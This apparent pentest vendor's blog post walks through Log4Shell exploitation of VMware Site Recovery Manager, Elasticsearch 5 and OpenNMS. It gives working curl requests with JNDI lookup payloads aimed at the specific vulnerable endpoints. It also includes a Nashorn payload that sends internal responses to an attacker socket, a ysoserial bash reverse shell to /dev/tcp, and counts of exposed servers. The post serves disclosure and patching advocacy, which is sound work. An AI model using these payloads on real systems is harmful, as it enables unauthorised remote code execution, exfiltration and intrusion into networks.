It’s been more than six months since the Log4Shell vulnerability (CVE-2021-44228) was disclosed, and a number of post-mortems have come out talking about lessons learned and ways to prevent the next Log4Shell-type event from happening. The reality on the ground though is that the vulnerability is far from dead. For the first six months of this year, NodeZero, our autonomous pentesting tool, has detected and exploited Log4Shell in close to a quarter of the environments it’s run in, and that rate has held steady month over month. This is consistent with the recent CISA advisory sounding the alarm that threat actors are continuing to exploit VMWare Horizon servers using Log4Shell.
| Month (2022) |
% Internal Networks that NodeZero Detected & Exploited Log4Shell |
| January | 22.0 |
| February | 25.9 |
| March | 32.1 |
| April | 23.3 |
| May | 18.5 |
| June | 22.1 |
| Total | 23.5 |
Naturally a lot of exploitation of Log4Shell to date has been focused on well-known, widely deployed applications such as VMware Horizon, VMware vCenter, and the Unifi Network application. But this is the tip of the iceberg. There are probably thousands of Java applications out there impacted by Log4shell to varying degrees, and thousands of new exploit paths to be discovered. All it takes is for a motivated attacker to turn his or her focus onto a specific application being run by an enterprise, and within a day or two, an exploit can be potentially developed and weaponized.
We’ll walk through the exploit process below, leading to remote code execution, against a few applications: VMware Site Recovery Manager, Elasticsearch 5, and OpenNMS. The purpose of this is to demonstrate the widespread and long-standing impact of Log4Shell and the speed at which exploits can be developed. Ultimately, one of the goals of NodeZero as a pentesting tool is to surface the true impact of various vulnerabilities, misconfigurations, and compromised credentials. We believe this impact is best demonstrated through proof of actual exploitation. We’ve seen that knowledge of this kind of impact is what enables companies to accurately evaluate risk and prioritize the work needed to best improve their security posture.
Background
- Identifying a JNDI lookup injection point: This is the network request that an unauthenticated attacker sends to the application that will cause the application to log a message using the vulnerable Apache log4j2 library, which in turn will cause the application to make a JNDI lookup to an attacker-hosted server.
- Figuring out what Java payload to serve from the attacker-hosted server: This is the payload that’s retrieved by the vulnerable application via the JNDI lookup and deserialized to execute remote code.
For the first step, to verify the JNDI lookup injection point, we used the DNSLog service at dnslog.cn to catch DNS callbacks from the vulnerable application. Other tools like Burp Collaborator or an Interactsh server can also be used for this purpose.
Exploiting VMware Site Recovery Manager
Detection
For a quick win, we initially tried inserting a JNDI payload into the username field of the login form of the SRM application, but we failed to get a DNS callback. So then we pulled the jar files from the SRM appliance and decompiled them, and starting probing API endpoints that an unauthenticated attacker could access. Shortly after we identified an injection point in the OAuth2LoginServlet using the error parameter. The servlet is accessible at the /dr/authentication/oauth2/oauth2login endpoint.
We verified the injection point by sending an HTTP GET request of this form:
curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:ldap:%2f%2fil2gm4.dnslog.cn:1389%7D'
Exploitation
Just like Horizon and vCenter, SRM uses Apache Tomcat as its application server. Tomcat-based applications that are vulnerable to Log4Shell are easy to exploit for remote code execution, regardless of the Java runtime version. The general technique is described here and automated by the JNDI-Exploit-Kit tool.
We started up JNDI-Exploit-Kit on the attacker server to serve a bash reverse shell payload, and a netcat listener to catch a reverse shell on port 9999:
curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:rmi:%2f%2f10.0.220.200:1099%2fnyceyo%7D'
tomcat user:
Impact
SRM is not typically deployed to be Internet facing. We only found ~20 of them publicly exposed using Shodan. However we do see it occasionally in internal pentests, and it could be an attractive target for threat actors seeking to make a ransomware incident even more painful by disrupting disaster recovery plans. We recommend updating the appliance to the latest version per VMware’s advisory or applying the workaround described here.
Exploiting Elasticsearch 5
Elasticsearch is a popular open-source distributed search and analytics engine. The Elasticsearch advisory for Log4Shell says that only Elasticsearch 5 is vulnerable to remote code execution because of the way Elasticsearch uses the Java Security Manager to lock down permissions. We were able to confirm this is the case – in vulnerable versions of Elasticsearch versions 6 and beyond, the application will perform DNS lookups of attacker-controlled host names but not initiate any TCP connections to attacker-controlled servers. The DNS lookups can be used to leak system information such as environment variables, but remote code execution is not possible. This can be seen through the difference in the security.policy file for version 5.6 vs. version 6.0.
For testing we set up various versions of Elasticsearch 5 from the Elasticsearch docker repo at docker.elastic.co/elasticsearch.
Detection
We found a few methods to trigger JNDI lookups through the Elasticsearch REST API by creating resources like types or triggering deprecation warnings. However we found these methods to be too destructive/noisy, or they didn’t work universally against all versions of Elasticsearch 5.
Looking more closely at the source code and issues on Github, we found an issue indicating that sending a malformed JSON as part of a search request will trigger an internal server error that is then logged. We verified this works against all versions of Elasticsearch 5 and beyond up to 7.6. For instance:
curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://oyfbln.dnslog.cn%7D' -d '{'
Triggers this error:
Which results in a DNS callback:
Exploitation
Elasticsearch runs on the Netty framework, so the Tomcat-based exploit used against VMware Site Recovery Manager doesn’t apply here. We decided to explore the next best option, which is a remote class-loading attack against applications running with Java runtime versions < 8u191. This remote class-loading attack is automated by tools like rogue-jndi.
We pulled a bunch of different versions of Elasticsearch 5 from the docker.elastic.co/elasticsearch repo to understand the Java runtime version they were bundled with. We found that all versions from 5.0.0 to 5.6.12 were running Java runtime versions < 8u191, and versions from 5.6.13 to 5.6.16 were running Java runtime >= 8u191. While not everyone runs Elasticsearch using Docker images from docker.elastic.co/elasticsearch, we surmise from this that most of the Elasticsearch 5 instances running in the wild are exploitable to remote code execution using the remote class-loading attack.
One wrinkle we discovered with exploitation is that remote code execution is not the same as arbitrary code execution. In particular, because of Elasticsearch’s usage of the Security Manager, running host commands directly with Runtime.exec or ProcessBuilder was not possible, and access to the file system was limited. We did find it was possible to make arbitrary network calls, read from/write to a few directories like /tmp, and run stuff in memory like a crypto miner.
For instance, to send a network request to an internal server hosted at 10.0.220.54 and send the response back to the attacker’s server on port 9999, we modified the HTTPServer class in rogue-jndi to use the following payload:
{ new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"var response = \'\'; var is = new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL(\'http://10.0.220.54\').openStream())); var inputLine=null; while( (inputLine=is.readLine()) != null) response += inputLine; is.close(); var s = new java.net.Socket(\'192.168.0.140\', 9999); var os = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); os.write(response); os.flush(); s.close();\"); }
curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://192.168.0.140:1389/o=reference%7D' -d '{'
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable Elasticsearch instance:
To exploit Elasticsearch 5 versions running with Java >= 8u191, a deserialization gadget must be found among the libraries in the classpath of the Elasticsearch application. We noticed that Elasticsearch 5 pulls in the groovy-2.4.6-indy.jar library, which is vulnerable to CVE-2016-6814 and exploitable using the technique described here. However, we were thwarted from executing this gadget by the Security Manager and did not pursue exploitation further.
Impact
Using the Shodan API, we found a total of 22914 Elasticsearch servers exposed on the Internet without authentication. Of these, 1275 were found to be running Elasticsearch 5, and among those, 955 servers are running a version <= 5.6.12, and therefore are likely to be running a Java runtime < 8u191. Based on this we estimate there are roughly 900-1000 Elasticsearch 5 servers on the Internet that are exploitable to remote code execution using the technique described above. Of course, it’s already bad to have an open Elasticsearch server on the Internet – now those servers can also be abused to pivot into internal networks. If you’re running a vulnerable version of Elasticsearch, we recommend following the remediation guidance in the Elasticsearch advisory to update to the latest or apply a work-around.
Kudos must be given to the Elasticsearch team for its prescient usage of the Java Security Manager and practicing “defense-in-depth.” The fallout for Elasticsearch users could have been much worse. Only a handful of Java applications have taken advantage of the Security Manager, and it’ll be interesting to see the path forward with the removal of the Security Manager with JEP-411.
Exploiting OpenNMS
OpenNMS is an open source network monitoring solution. We installed OpenNMS Horizon version 26.2.2 using the docker-compose template from here.
Detection
For a quick win, we tried injecting a JNDI payload into the username field of the login form… and it worked.
The DNS callback:
Using curl:
curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://72qhcc.dnslog.cn:1389}&j_password=abcd&j_usergroups=&Login='
We checked the logs and found the username was getting logged by the HybridOpenNMSUserAuthenticationProvider class.
In Github:
Exploitation
The version of OpenNMS we were using was running with Java 11.07 using Jetty as an application server. This means the Tomcat-based exploit we used against VMware Site Recovery Manager and the older JVM based exploit we used against Elasticsearch 5 weren’t going to work. We moved to option 3: finding a deserialization gadget in one of the libraries pulled in locally OpenNMS. Looking through the jars, we found commons-beanutils-1.9.4.jar, for which there is a well-known deserialization gadget available using ysoserial.
Using the ysoserial-modified project, we created our reverse shell payload:
$JAVA_HOME/bin/java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutils1 bash 'bash -i >& /dev/tcp/192.168.0.140/9999 0>&1' > test_payload
Then served it using JNDI-Exploit-Kit and fired up a netcat listener on port 9999:
Then sent the curl request to trigger the exploit:
curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://192.168.0.140:1389/serial/CustomPayload}&j_password=abcd&j_usergroups=&Login='
And got the reverse shell:
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable OpenNMS instance:
Impact
OpenNMS is not commonly deployed to be Internet-facing. Using Shodan, we found about ~100 public instances of it. We do occasionally run into it in internal pentests though, and it can also be embedded in products like Juniper Junos Space. From an attacker perspective, network monitoring solutions in general are attractive targets to compromise because they typically store credentials used to access other infrastructure in the environment. We recommend updating to the latest version per the OpenNMS advisory.
Conclusion
Attackers are opportunistic. As we’ve shown above, Log4shell is a vulnerability that opens up lots of opportunities. It’s normally difficult, if not impossible, for the average attacker to discover vulnerabilities leading to unauthenticated remote code execution in established applications. Log4Shell enables exactly that across lots of applications, and it’s something that can be easily weaponized by attackers on the fly.
Here’s roughly how long it took us to get to unauthenticated remote code execution in each of the above applications:
| Application | Time to Install and Configure | Time to RCE |
| VMware Site Recovery Manager 8.3.0 | 1 day | 1 hour |
| Elasticsearch 5 | 1/2 day | 1 day |
| OpenNMS Horizon 26.2.2 | 1 hour | 1 hour |
In an ideal world, after the Log4shell vulnerability was disclosed last year, all enterprises would have spent 2-3 weeks to enumerate all vulnerable applications in their environment and patch them. The reality is that enterprise patch cycles can be slow. NodeZero still occasionally encounters domain controllers that aren’t patched for critical vulnerabilities like Zerologon (CVE-2020-1472), and routinely sees Eternal Blue (CVE-2017-0143) five years after it was disclosed.
Furthermore, outside of very large enterprises, many companies operate with limited resources, must prioritize remediation relative to other work, and have to consider possible business downtime caused by patching. Log4Shell brings extra complexity to the mix because of the sheer number of applications it impacts. Patching for Log4Shell is also not always just clicking an “update” button; legacy applications may lack support altogether. And even after patching, we’ve encountered cases where the patch didn’t work as expected and needed to be re-done.
All this means that Log4Shell will be around for a very long time. We believe that the more we can do to surface the true impact of Log4Shell against vulnerable applications, the more likely it is that companies will take the steps necessary to remediate those applications, before the bad guys can get to them.
References
- CISA Advisory:Malicious Actors Continue to Exploit Log4Shell in VMware Horizon Systems
- JNDI-Exploit-Kit exploit tool
- rogue-jnd exploit tooli
- ysoserial-modified exploit tool
- VMware Advisory on Log4Shell
- Elasticsearch Advisory on Log4Shell
- OpenNMS Advisory on Log4Shell
- Understanding Log4Shell: the Apache log4j2 Remote Code Execution Vulnerability (CVE-2021-44228, CVE-2021-45046)
- Using NodeZero to Find and Fix Log4Shell
